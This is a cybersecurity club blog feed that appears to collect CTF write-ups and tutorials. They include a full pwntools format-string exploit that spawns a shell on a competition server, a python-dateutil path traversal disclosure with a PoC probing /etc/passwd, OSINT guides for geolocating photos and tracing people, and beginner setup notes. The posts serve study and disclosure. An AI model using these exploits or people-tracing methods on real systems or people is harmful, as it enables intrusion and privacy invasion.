<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml" /><link href="/" rel="alternate" type="text/html" /><updated>2026-08-26T16:36:39+00:00</updated><id>/feed.xml</id><title type="html">Cornell Cybersecurity Club Blog</title><subtitle>Blog by the Cornell Cybersecurity Club</subtitle><entry><title type="html">Brick City Office Space Writeup - UMassCTF 2026</title><link href="/2026/04/12/brick-city-office-space.html" rel="alternate" type="text/html" title="Brick City Office Space Writeup - UMassCTF 2026" /><published>2026-04-12T00:00:00+00:00</published><updated>2026-04-12T00:00:00+00:00</updated><id>/2026/04/12/brick-city-office-space</id><content type="html" xml:base="/2026/04/12/brick-city-office-space.html"><![CDATA[<h2 id="description">Description</h2>

<p>Help design the office space for Brick City’s new skyscraper! read flag.txt for design specifications</p>

<h2 id="files">Files</h2>

<ul>
  <li><code class="language-plaintext highlighter-rouge">BrickCityOfficeSpace</code>: The vulnerable 32-bit target executable</li>
  <li><code class="language-plaintext highlighter-rouge">ld-linux.so.2</code>: The 32-bit dynamic linker</li>
  <li><code class="language-plaintext highlighter-rouge">libc.so.6</code>: The specific C standard library used on the target server</li>
  <li><code class="language-plaintext highlighter-rouge">flag.txt</code>: The goal file containing the flag</li>
</ul>

<h2 id="initial-observations">Initial Observations</h2>

<ul>
  <li>The presence of <code class="language-plaintext highlighter-rouge">ld-linux.so.2</code> and <code class="language-plaintext highlighter-rouge">libc.so.6</code> immediately indicated a 32-bit environment</li>
  <li>The program prompts for input (“Send your design as ASCII art”) with a stated limit of “592 bricks,” indicating a large buffer for payloads</li>
  <li>The input <code class="language-plaintext highlighter-rouge">AAAA.%p.%p.%p...</code> successfully leaked stack memory, confirming a format string vulnerability
    <ul>
      <li>Our test string <code class="language-plaintext highlighter-rouge">0x41414141</code> appeared at the 4th position</li>
    </ul>
  </li>
  <li>No PIE and no RELRO, meaning the Global Offset Table (GOT) was writable and at a static address</li>
</ul>

<h2 id="vulnerability-analysis">Vulnerability Analysis</h2>

<h3 id="where-is-the-bug">Where is the bug?</h3>

<p>The function responsible for printing the user’s submitted ASCII art design back to the terminal</p>

<h3 id="why-does-it-exist">Why does it exist?</h3>

<p>The user-controlled input buffer is passed directly to a print function without using a format specifier</p>

<h3 id="what-primitives-does-it-give-you">What primitives does it give you?</h3>

<p>Arbitrary read and write</p>

<h2 id="exploitation-strategy">Exploitation Strategy</h2>

<ul>
  <li>Send a payload containing the GOT address of <code class="language-plaintext highlighter-rouge">printf</code> followed by <code class="language-plaintext highlighter-rouge">%4$s</code>. This forces the program to print the real, runtime memory address of <code class="language-plaintext highlighter-rouge">printf</code> from the dynamically loaded libc</li>
  <li>Subtract the static <code class="language-plaintext highlighter-rouge">printf</code> offset (found in <code class="language-plaintext highlighter-rouge">libc.so.6</code>) from our leaked address to calculate the <code class="language-plaintext highlighter-rouge">libc</code> base address. Then, add the static offset of <code class="language-plaintext highlighter-rouge">system</code> to find its real memory address</li>
  <li>Use <code class="language-plaintext highlighter-rouge">fmtstr_payload</code> to overwrite the GOT entry for <code class="language-plaintext highlighter-rouge">printf</code> with the newly calculated address of <code class="language-plaintext highlighter-rouge">system</code></li>
  <li>On the final iteration of the loop, send the string <code class="language-plaintext highlighter-rouge">/bin/sh</code>. The program will attempt to call <code class="language-plaintext highlighter-rouge">printf("/bin/sh")</code>, but because the GOT was hijacked, it will execute <code class="language-plaintext highlighter-rouge">system("/bin/sh")</code> instead, granting an interactive shell</li>
  <li>Run <code class="language-plaintext highlighter-rouge">cat flag.txt</code> in the interactive shell to print the flag to the terminal</li>
</ul>

<h2 id="full-exploit-script">Full Exploit Script</h2>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="c1"># Set up logging to catch I/O hangs
</span><span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span> 

<span class="c1"># Set up the environment
</span><span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'./BrickCityOfficeSpace'</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'./libc.so.6'</span><span class="p">)</span> 

<span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"brick-city-office-space.pwn.ctf.umasscybersec.org"</span><span class="p">,</span> <span class="mi">45001</span><span class="p">)</span>

<span class="c1"># Loop 1: leak
</span><span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"BrickCityOfficeSpace&gt; "</span><span class="p">)</span> 

<span class="c1"># Payload: Read the real memory address stored inside printf's GOT entry
</span><span class="n">printf_got</span> <span class="o">=</span> <span class="n">elf</span><span class="p">.</span><span class="n">got</span><span class="p">[</span><span class="s">'printf'</span><span class="p">]</span> 
<span class="n">leak_payload</span> <span class="o">=</span> <span class="n">p32</span><span class="p">(</span><span class="n">printf_got</span><span class="p">)</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"%4$s"</span>

<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">leak_payload</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">p32</span><span class="p">(</span><span class="n">printf_got</span><span class="p">))</span> 
<span class="n">printf_leak</span> <span class="o">=</span> <span class="n">u32</span><span class="p">(</span><span class="n">io</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4</span><span class="p">))</span> 

<span class="n">log</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="sa">f</span><span class="s">"Leaked printf address: </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">printf_leak</span><span class="p">)</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="c1"># Stage 2: math
</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">printf_leak</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'printf'</span><span class="p">]</span>
<span class="n">log</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="sa">f</span><span class="s">"Libc Base: </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="p">)</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="n">system_addr</span> <span class="o">=</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'system'</span><span class="p">]</span>
<span class="n">log</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="sa">f</span><span class="s">"System address: </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">system_addr</span><span class="p">)</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="c1"># Trigger the next loop
</span><span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"(y/n)"</span><span class="p">,</span> <span class="sa">b</span><span class="s">"y"</span><span class="p">)</span> 

<span class="c1"># Loop 2: overwrite
</span><span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"BrickCityOfficeSpace&gt; "</span><span class="p">)</span>

<span class="c1"># Use pwntools to automatically generate the complex %n payload
# offset=4, write the system_addr into printf_got
</span><span class="n">overwrite_payload</span> <span class="o">=</span> <span class="n">fmtstr_payload</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="p">{</span><span class="n">printf_got</span><span class="p">:</span> <span class="n">system_addr</span><span class="p">})</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">overwrite_payload</span><span class="p">)</span>

<span class="c1"># Trigger the final loop
</span><span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"(y/n)"</span><span class="p">,</span> <span class="sa">b</span><span class="s">"y"</span><span class="p">)</span>

<span class="c1"># Loop 3: pop shell
</span><span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"BrickCityOfficeSpace&gt; "</span><span class="p">)</span>

<span class="c1"># The GOT is now hijacked. printf is now system.
</span><span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">"/bin/sh"</span><span class="p">)</span>

<span class="c1"># Drop to interactive mode to interact with the shell
</span><span class="n">io</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<h2 id="demo--output">Demo / Output</h2>

<p><img src="/assets/images/ctf-writeups/umassctf26/brickcityofficespace.png" alt="Terminal screenshot of exploit script run" /></p>

<h2 id="key-takeaways">Key Takeaways</h2>

<h3 id="vulnerability-class">Vulnerability class</h3>

<p>Format String Vulnerability</p>

<h3 id="what-youd-do-differently-or-what-tripped-you-up">What you’d do differently or what tripped you up?</h3>

<p>I/O synchronization with pwntools caused the exploit script to hang initially</p>]]></content><author><name>Liam DeMong</name></author><category term="competition" /><category term="ctf" /><category term="pwn" /><category term="writeup" /><summary type="html"><![CDATA[Brick City Office Space Writeup from UMassCTF 2026]]></summary></entry><entry><title type="html">CVE Request: Path Traversal in python-dateutil rrulestr() TZID Parameter</title><link href="/2026/03/22/python-dateutil-path-traversal.html" rel="alternate" type="text/html" title="CVE Request: Path Traversal in python-dateutil rrulestr() TZID Parameter" /><published>2026-03-22T00:00:00+00:00</published><updated>2026-03-22T00:00:00+00:00</updated><id>/2026/03/22/python-dateutil-path-traversal</id><content type="html" xml:base="/2026/03/22/python-dateutil-path-traversal.html"><![CDATA[<h2 id="summary">Summary</h2>

<p>python-dateutil &lt;= 2.9.0.post0 allows path traversal via unsanitized TZID values in <code class="language-plaintext highlighter-rouge">rrulestr()</code>. Attacker-controlled RFC 5545 recurrence rule strings can trigger arbitrary file reads and file existence disclosure on the host filesystem.</p>

<!-- more -->

<h2 id="vulnerable-piece">Vulnerable Piece</h2>

<p><code class="language-plaintext highlighter-rouge">dateutil.rrule._rrulestr._parse_date_value()</code> — extracts TZID from input and passes it directly to <code class="language-plaintext highlighter-rouge">dateutil.tz.gettz()</code> with no path validation.</p>

<h2 id="root-cause">Root Cause</h2>

<p>The TZID parameter is extracted via regex (<code class="language-plaintext highlighter-rouge">TZID=(?P&lt;name&gt;[^:]+):</code>) and forwarded to <code class="language-plaintext highlighter-rouge">gettz()</code>, which joins it with system timezone paths using <code class="language-plaintext highlighter-rouge">os.path.join()</code>. Directory traversal sequences like <code class="language-plaintext highlighter-rouge">../</code> are never stripped or rejected.</p>

<p><strong>Data flow:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rrulestr(user_input)
  → _parse_date_value() extracts TZID     # rrule.py:1576
  → tz.gettz(unsanitized_tzid)            # rrule.py:1591
  → os.path.join("/usr/share/zoneinfo", unsanitized_tzid)  # tz.py:1634
  → open(resolved_path, 'rb')             # tz.py:464
</code></pre></div></div>

<h2 id="impact">Impact</h2>

<p><strong>File existence oracle</strong> — three distinguishable outcomes reveal file state:</p>

<table>
  <thead>
    <tr>
      <th>Response</th>
      <th>Meaning</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">ValueError("magic not found")</code></td>
      <td>File exists, readable</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">PermissionError</code></td>
      <td>File exists, not readable</td>
    </tr>
    <tr>
      <td>Silent <code class="language-plaintext highlighter-rouge">None</code> / no error</td>
      <td>File does not exist</td>
    </tr>
  </tbody>
</table>

<p><strong>File read</strong> — the first 4 bytes of any targeted file are read. Files conforming to TZif format are fully parsed, with content accessible via <code class="language-plaintext highlighter-rouge">tzname()</code>.</p>

<h2 id="poc">PoC</h2>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">dateutil.rrule</span> <span class="kn">import</span> <span class="n">rrulestr</span>

<span class="c1"># Probes /etc/passwd existence — raises ValueError("magic not found")
</span><span class="n">rrulestr</span><span class="p">(</span>
    <span class="s">"DTSTART;TZID=/etc/passwd:20200101T000000</span><span class="se">\n</span><span class="s">RRULE:FREQ=YEARLY"</span><span class="p">,</span>
    <span class="n">forceset</span><span class="o">=</span><span class="bp">True</span>
<span class="p">)</span>
</code></pre></div></div>

<h2 id="cwe">CWE</h2>

<ul>
  <li>CWE-22 (Path Traversal)</li>
  <li>CWE-204 (Observable Response Discrepancy)</li>
</ul>

<h2 id="mitigation">Mitigation</h2>

<p>Pass <code class="language-plaintext highlighter-rouge">tzids=&lt;dict or callable&gt;</code> to <code class="language-plaintext highlighter-rouge">rrulestr()</code> to prevent the default <code class="language-plaintext highlighter-rouge">gettz()</code> dispatch.</p>]]></content><author><name>Alexander Schneider</name></author><category term="vulnerability" /><category term="cve" /><category term="path-traversal" /><category term="python" /><category term="security" /><category term="featured" /><summary type="html"><![CDATA[python-dateutil <= 2.9.0.post0 allows path traversal via unsanitized TZID values in rrulestr(), enabling arbitrary file reads and file existence disclosure.]]></summary></entry><entry><title type="html">Intro to OSINT &amp;amp; Geolocation 1</title><link href="/2026/02/18/osint-1.html" rel="alternate" type="text/html" title="Intro to OSINT &amp;amp; Geolocation 1" /><published>2026-02-18T00:00:00+00:00</published><updated>2026-02-18T00:00:00+00:00</updated><id>/2026/02/18/osint-1</id><content type="html" xml:base="/2026/02/18/osint-1.html"><![CDATA[<h2 id="what-is-osint">What is OSINT?</h2>

<p>Open-source intelligence, or OSINT, refers to all the data that’s available publicly online. OSINT challenges in CTFs involve the resourceful use of such data to (typically) geolocate an image or track a user’s digital footprint. Most CTFs will have at least a few OSINT challenges, making it a pretty useful skill to learn.</p>

<h2 id="geolocation">Geolocation</h2>

<p>Most geolocation challenges just use screenshots from Google Maps, so we can exploit the usual GeoGuessr “metas.” The metas involve identifying features of the Google Maps Street View car and other objects around the car. The usual GeoGuessr resources such as <a href="https://www.plonkit.net/guide">Plonkit</a> and <a href="https://geohints.com/">Geohints</a> can be used as reference.</p>

<h3 id="example-1">Example 1</h3>

<p>In a recent CTF that ended (0xfun 2026), players were presented with the following image and ask to identify the road that the image was taken on.
<img src="/assets/images/osint-1/Location5.png" alt="Location5.png" /></p>

<p>The only identifying feature in the image is the back trunk of the Google car in the bottom right corner of the image. Using <a href="https://geohints.com/meta/googleVehicles/cars">Geohint’s Google Vehicle meta</a>, we can look through the car images until we find <strong>Denmark</strong>, which has the exact same Google Car trunk.</p>

<p><img src="/assets/images/osint-1/denmark.png" alt="denmark.png" /></p>

<p>Clicking “Open in Google Maps” tells us we are in Denmark, on a road named <strong>Kongebrovej</strong>.</p>

<p>Even Gemini 3-Thinking (usually a very strong model for OSINT due to its training on Google Maps) was unable to answer correctly:
<img src="/assets/images/osint-1/gem.png" alt="gem.png" /></p>

<h2 id="osint">OSINT</h2>

<p>Aside from geolocation, many OSINT challenges require you to track the digital footprint of an internet account. While most challenges can be solved with Googling, there are a few good resources I recommend:</p>

<ul>
  <li><a href="https://osintframework.com/">OSINT Framework</a> - Great aggregator of OSINT tools</li>
  <li><a href="https://github.com/sherlock-project/sherlock">Sherlock</a> - Search a username across 400+ social media websites</li>
</ul>]]></content><author><name>Hendry Xu</name></author><category term="ctf" /><category term="osint" /><category term="geo" /><summary type="html"><![CDATA[Introduction to open source intelligence (OSINT) and geolocation challenges]]></summary></entry><entry><title type="html">Cornell Spring Mini CTF Writeups</title><link href="/2026/02/01/spring-mini-ctf-writeups.html" rel="alternate" type="text/html" title="Cornell Spring Mini CTF Writeups" /><published>2026-02-01T00:00:00+00:00</published><updated>2026-02-01T00:00:00+00:00</updated><id>/2026/02/01/spring-mini-ctf-writeups</id><content type="html" xml:base="/2026/02/01/spring-mini-ctf-writeups.html"><![CDATA[<p>The Spring CTF concluded on January 31st, 2026 with 48 users and 1 unblooded challenge. Unlike the Fall mini CTF, this competition included challenges made by members of the CTF competition team. With NECCDC in the same month, I only managed to make 1 blind web challenge, and also a collection of OSINT challenges, which were mostly from my photo dump in Vietnam.</p>

<p>This blog post will contain the following challenges: ‘Under Construction’, ‘Drinks’, ‘Beautiful’, ‘🥥🍦’, ‘Food’, and ‘Ts class pmo’.</p>

<p>For other challenges, I will add them right under here when I receive them from the competition team.</p>

<p><a href="https://github.coecis.cornell.edu/yj576/bigred-gpa-update-system-writeup">Big Red Curve</a></p>

<p>With that being said, here are the writeups for my challs!</p>

<h2 id="web">Web</h2>

<h3 id="under-construction">Under Construction</h3>

<h4 id="2-solves">2 solves</h4>

<p>I thought of this challenge when I was in Vietnam, which was also when I had to do scripting and infra for the CCDC team, so I made this (what I thought) simple blind-web challenge.</p>

<p>The challenge started with this static web page and no given src
<img src="/assets/images/ctf-writeups/cornellsp26/Web1.png" alt="Under Construction" /></p>

<p>Looks boring. Let’s see what’s underneath by viewing the page source
<img src="/assets/images/ctf-writeups/cornellsp26/Web2.png" alt="View Page Source" /></p>

<p>We can immediately tell that this is running on React and Next.js. From a pentester standpoint, it is almost second nature to check for the version of the webpage’s server.
This can be done by adding the -I flag to curl, and this is the result of doing so.
<img src="/assets/images/ctf-writeups/cornellsp26/Web3.png" alt="curl -I" /></p>

<p>Even if you didn’t know this existed, an nmap service scan with -sV will also reveal it. It’s even in one of the chunks, I think.</p>

<p>From there, it simply became another OSINT challenge. If you’ve been listening to security news for the past 2 months or have built web apps yourself, you have definitely heard of the critical CVE-2025-55182 / CVE-2025-66478, more commonly known as <a href="https://react2shell.com/">React2Shell</a>. This 10.0 CVSS-scored vulnerability has affected thousands of websites since React.js with its server components has been a staple for many developers to use.</p>

<p>If you have figured it out this far, all that’s left is to find a Proof-of-Concept (PoC) that can exploit this vulnerability. I found <a href="https://github.com/surajhacx/react2shellpoc.git">this</a> one to be effective.</p>

<p>Then reading the flag is trivial after getting shell.
<img src="/assets/images/ctf-writeups/cornellsp26/Web4.png" alt="Flag" /></p>

<pre><code class="language-txt">ccy{Y0u_g0tta_r3ad_th3_CVEs_bruh_:wilted_rose:}
</code></pre>

<p>To those who asked why this challenge didn’t have an instancer as someone could’ve just rm -rf the whole container, I have already made it so you’re an unprivileged user in a read-only tmpfs root filesystem.</p>

<p>Honestly I wanted to write an actual challenge instead of this, but we’ll just have to wait for the next CTF.</p>

<h2 id="osint">OSINT</h2>

<p>Now for everyone’s favorite part: OSINT!
This semester, I spent a big chunk of my winter break in Vietnam. Had lots of food and drinks (definitely needed that) and went to a lot of cool places.</p>

<h3 id="drinks">Drinks</h3>

<h4 id="18-solves">18 solves</h4>

<pre><code class="language-txt">I had drinks here. Drinks were mid, view is ok. Find the google maps location of the coffee shop

e.g. ccy{343 Campus Rd, Ithaca, NY 14853}
</code></pre>

<p><img src="/assets/images/ctf-writeups/cornellsp26/OSINT1.jpg" alt="Drinks" /></p>

<p>If you look at the image as a whole, you wouldn’t be able to get much. Just a view of the beach and some people chilling. But if you zoom in on the right, you’ll see a weird sculpture on a piece of rock.</p>

<p>If you crop the photo onto the sculpture, you’ll see it’s the “Hòn Rù Rì” in Vũng Tàu, Vietnam. I’ve seen it falsely detect to stuff in Thailand or other places, but if you got lucky and did not fall into that rabbit hole, then you can easily identify where this was on Google Maps.</p>

<p>The coffee shop location added a little caveat to the problem. We can see that there is a bridge directly connecting the shop to the rock. This means that there is a direct path to the monument.</p>

<p>The flag then is:</p>

<pre><code class="language-txt">ccy{1 Trần Phú, Phường 1, Vũng Tàu, Bà Rịa - Vũng Tàu 78000, Vietnam}
</code></pre>

<h3 id="beautiful">Beautiful</h3>

<h4 id="15-solves">15 solves</h4>

<pre><code class="language-txt">Isn't the beach so beautiful. Find the google maps location

e.g. ccy{343 Campus Rd, Ithaca, NY 14853}
</code></pre>

<p><img src="/assets/images/ctf-writeups/cornellsp26/OSINT2.jpg" alt="Beautiful1" />
<img src="/assets/images/ctf-writeups/cornellsp26/OSINT3.jpg" alt="Beautiful2" /></p>

<p>Honestly I expected much fewer solves for this challenge, as I thought it was just a random tunnel I found that led to a beautiful scene.</p>

<p>Turns out if you just put the second image into Google Images, it will spit out the correct address. Idk why I didn’t check for this when making this chall XD.  The intended solve was to go around the coast of Vũng Tàu to find this tunnel. Oh well.</p>

<pre><code class="language-txt">ccy{107 Trần Phú, Phường 5, Vũng Tàu, Bà Rịa - Vũng Tàu, Vietnam}
</code></pre>

<h3>🥥🍦</h3>

<h4 id="14-solves">14 solves</h4>

<pre><code class="language-txt">I love coconut ice cream. Find me the google maps address e.g. ccy{343 Campus Rd, Ithaca, NY 14853}
</code></pre>

<p><img src="/assets/images/ctf-writeups/cornellsp26/OSINT4.jpg" alt="CoconutIC" /></p>

<p>This challenge bumped up a tiny bit in difficulty. When directly putting this image into Google Images, nothing of interest really pops up. Just coconut ice cream near the coastline. You’d probably guess it’s Vietnam again and you’d be correct.</p>

<p>From there, you could just look around the coastline for the place — perfectly valid.</p>

<p>Another solution path is to realize the <a href="https://www.facebook.com/cocodelivungtau/posts/n%E1%BA%BFu-m%C3%A0-ai-%C4%91ang-%E1%BA%BF-th%C3%AC-n%C3%AAn-%C4%91i-du-l%E1%BB%8Bch-nhi%E1%BB%81u-v%C3%A0o-%C4%91%E1%BA%A3m-b%E1%BA%A3o-kh%C3%B4ng-h%E1%BA%BFt-%E1%BA%BF-%C4%91%C3%A2u-nh%C6%B0ng-m%C3%A0-h/1441955071266694/">facebook post</a> that pops up when looking up the image. The view does look the same as the challenge image, except at a slightly different angle. This turns out to be an advertisement post for the store, CocoDeli.</p>

<p>The flag is then obvious from there</p>

<pre><code class="language-txt">ccy{154A Hạ Long, Phường 2, Vũng Tàu, Bà Rịa - Vũng Tàu 78000, Vietnam}
</code></pre>

<h3 id="food">Food</h3>

<h4 id="5-solves">5 solves</h4>

<pre><code class="language-txt">O NOM NOM NOM NOM. Find the google maps location
e.g. ccy{343 Campus Rd, Ithaca, NY 14853}
</code></pre>

<p><img src="/assets/images/ctf-writeups/cornellsp26/OSINT5.jpg" alt="Food1" />
<img src="/assets/images/ctf-writeups/cornellsp26/OSINT6.jpg" alt="Food2" /></p>

<p>This is where the challenges got difficult. A Google Images search on the first photo would reveal that the food I was eating was called <code class="language-plaintext highlighter-rouge">bánh khọt</code>. If you noticed, there were either shrimps or squids there also, which in Vietnamese would be <code class="language-plaintext highlighter-rouge">tôm</code> or <code class="language-plaintext highlighter-rouge">mực</code>, respectively. Creatively, the full name of that dish is <code class="language-plaintext highlighter-rouge">bánh khọt tôm</code> or <code class="language-plaintext highlighter-rouge">bánh khọt mực</code>.</p>

<p>However, a problem quickly arises: there are too many places that sell that food in the area. You <em>could</em> go through all of the stores that sell the food — nothing wrong with that — but there are better ways to do this.</p>

<p>Looking at the second picture, you might have noticed that the store is located on a small road (You could see the car and refer to that). That’s a big hint as a lot of the stores are tourism traps, which are usually out on the open roads.</p>

<p><img src="/assets/images/ctf-writeups/cornellsp26/OSINT7.png" alt="Food3" /></p>

<p>There is also something subtle in the picture that some might have missed, and that is the numerical address. If you zoom in to the middle-right side of the picture, you’ll see the number “11”. This means that our store is probably numbered from 8-14 (depends on the direction).</p>

<p><img src="/assets/images/ctf-writeups/cornellsp26/OSINT8.png" alt="Food4" /></p>

<p>From there, it is quite easy to determine which one it is. There are only, like, 3-4 stores that fit all requirements, and this was the one I was looking for.</p>

<p><img src="/assets/images/ctf-writeups/cornellsp26/OSINT9.png" alt="Food5" /></p>

<pre><code class="language-txt">ccy{8B Lương Văn Can, Phường 2, Vũng Tàu, Bà Rịa - Vũng Tàu, Vietnam}
</code></pre>

<h3 id="ts-class-pmo">Ts class pmo</h3>

<pre><code class="language-txt">Whyyy do I have to take this class? Whyyy is it required for me. Flag is ccy{Class} e.g. ccy{CS1110}
</code></pre>

<p><img src="/assets/images/ctf-writeups/cornellsp26/OSINT10.png" alt="Tcp1" /></p>

<p>I got the most amount of backlash for this challenge, saying that this is practically impossible, given the limited 5 attempts to solve. Here was my thought process on the solve for this challenge.</p>

<h4 id="finding-my-major">Finding my major</h4>

<p>In order to find out which class this was, the first step should be to find out what major I am. The people who knew me would remember that I’m a Chemical Engineer. Surprisingly, only 1 out of the 5 people who solved this chall knew who I was. This would, of course, give an unfair advantage, so I also mentioned it in the <a href="https://discord.gg/EAaH9xf6QV"><strong>Cornell University public Discord Server</strong></a></p>

<p><img src="/assets/images/ctf-writeups/cornellsp26/OSINT11.png" alt="Tcp2" /></p>

<h4 id="finding-the-class">Finding the class</h4>

<p>Okay, that reduces it down a bit. But what type of class should I be looking for? The hint did mention that it was a required class, so electives and upper level classes are out of the picture. But there are still so many classes to choose from.</p>

<h4 id="looking-up-the-tas">Looking up the TAs</h4>

<p>We see in the picture that Angel and Lara are passing back the exams. If you looked up “Angel Cornell Chemical Engineering” and “Lara Cornell Chemical Engineering” then you would find hits with both of them being seniors.</p>

<h4 id="a-leap-of-logic">A “leap” of logic</h4>

<p>A small jump in logic here is required. Seeing how both TAs are ChemE seniors, this is most likely a class full of ChemEs. From there, it’s very easy to deduce which class it is. If you found any of my socials — either Instagram or Linkedin or even in the Discord servers — you would know that I’m a class of ‘28. This means that I am currently a sophomore in semester 4 in 2026. Which leaves the only class which could be filled with ChemE’s EngrD2190 from the ChemE flowchart.</p>

<p><img src="/assets/images/ctf-writeups/cornellsp26/OSINT12.png" alt="Tcp3" /></p>

<p>Thus the flag is:</p>

<pre><code class="language-txt">ccy{EngrD2190}
</code></pre>

<p>Thanks for reading this blog, it was quite fun making it.</p>]]></content><author><name>Bill Nguyen</name></author><category term="competition" /><category term="featured" /><category term="ctf" /><category term="osint" /><category term="web" /><category term="writeup" /><summary type="html"><![CDATA[Spring '26 Cornell CTF Writeup]]></summary></entry><entry><title type="html">Environment Setup for Beginners</title><link href="/2025/06/22/environment-setup-for-beginners.html" rel="alternate" type="text/html" title="Environment Setup for Beginners" /><published>2025-06-22T00:00:00+00:00</published><updated>2025-06-22T00:00:00+00:00</updated><id>/2025/06/22/environment-setup-for-beginners</id><content type="html" xml:base="/2025/06/22/environment-setup-for-beginners.html"><![CDATA[<p>The most important requirement for getting an environment setup for competing in CTFs is finding a way to run Linux. Running a Linux distribution like Kali will give you access to the tools most often used. Most people don’t use Linux as their main OS, but there are many ways to get access.</p>

<ul>
  <li>Running a virtual machine (VM)</li>
  <li>Enabling WSL2 on Windows</li>
  <li>Using a cloud service (generally will cost money)</li>
  <li>Installing Linux to your computer or dual booting (not necessary nor recommended for beginners)</li>
</ul>

<p>The fastest way to get things running is simply using WSL2 (if you have Windows), but in the long run, it is safer and better practice to run virtual machines.</p>

<h2 id="virtualbox-and-kali">VirtualBox and Kali</h2>

<p>VirtualBox is an open source program to manage virtual machines. There are other programs like VMware and QEMU which you may use if you prefer. The instructions for installing Kali Linux in VirtualBox is described here: <a href="https://docs.google.com/document/d/1uh1AxYd8tA30vbGhYDxMvpuHqMIQIz_O4XGg-GuJLOE/edit?usp=sharing">Setting up Kali in VirtualBox</a> - I plan on switching this to markdown eventually.</p>

<h2 id="wsl2-kali">WSL2 Kali</h2>

<ol>
  <li>Open Powershell as administrator</li>
  <li>Run the command <code class="language-plaintext highlighter-rouge">wsl --install</code></li>
  <li>Go the the Microsoft store and install Kali Linux</li>
  <li>You may need to reboot your computer</li>
  <li>You should now be able to run a shell in Kali Linux</li>
</ol>

<p>Your main drive in WSL should be accessible in the directory <code class="language-plaintext highlighter-rouge">/mnt/c</code> (or whatever your main drive letter is).</p>

<h2 id="post-installation">Post-Installation</h2>

<p>It’s a good idea to update your system once installed and update your system periodically. The first update will usually take a while, but it will be faster subsequent times if you update frequently. In Kali, the commands to update are as follows:</p>

<p><code class="language-plaintext highlighter-rouge">sudo apt update</code> — it will ask you to authenticate
<code class="language-plaintext highlighter-rouge">sudo apt upgrade</code> — type ‘y’ to approve then hit enter</p>]]></content><author><name>Jakob Nacanaynay</name></author><category term="nme" /><category term="setup" /><summary type="html"><![CDATA[Just run Linux!]]></summary></entry><entry><title type="html">Cryptography 1</title><link href="/2025/03/14/cryptography-1.html" rel="alternate" type="text/html" title="Cryptography 1" /><published>2025-03-14T00:00:00+00:00</published><updated>2025-03-14T00:00:00+00:00</updated><id>/2025/03/14/cryptography-1</id><content type="html" xml:base="/2025/03/14/cryptography-1.html"><![CDATA[<p>Warning: <em>Drafted with Claude, prompted and edited by humans</em></p>

<h2 id="for-people-with-no-time">For People with No Time</h2>

<p>These are the most important headings to read and understand:</p>

<ul>
  <li>Symmetric vs asymmetric encryption (the video is probably the best explanation)</li>
  <li>Hashing</li>
  <li>Techniques for breaking hashes/passwords</li>
</ul>

<h2 id="introduction">Introduction</h2>

<p>These challenges test your understanding of encryption, decryption, hashing, and related security concepts. This guide covers fundamental cybersecurity knowledge needed to approach these challenges effectively.</p>

<h2 id="classical-encryption">Classical Encryption</h2>

<h3 id="substitution-cipher">Substitution Cipher</h3>

<ul>
  <li>Replaces each letter or symbol with another letter or symbol</li>
  <li>Can be broken with frequency analysis—looking for how common characters are used to determine what letter they map to</li>
</ul>

<p><img src="https://pi.math.cornell.edu/~morris/135/letterfreq.jpg" alt="Image" /></p>

<p><a href="https://pi.math.cornell.edu/~morris/135/letterfreq.jpg">https://pi.math.cornell.edu/~morris/135/letterfreq.jpg</a></p>

<h3 id="one-time-pad-otp">One-Time Pad (OTP)</h3>

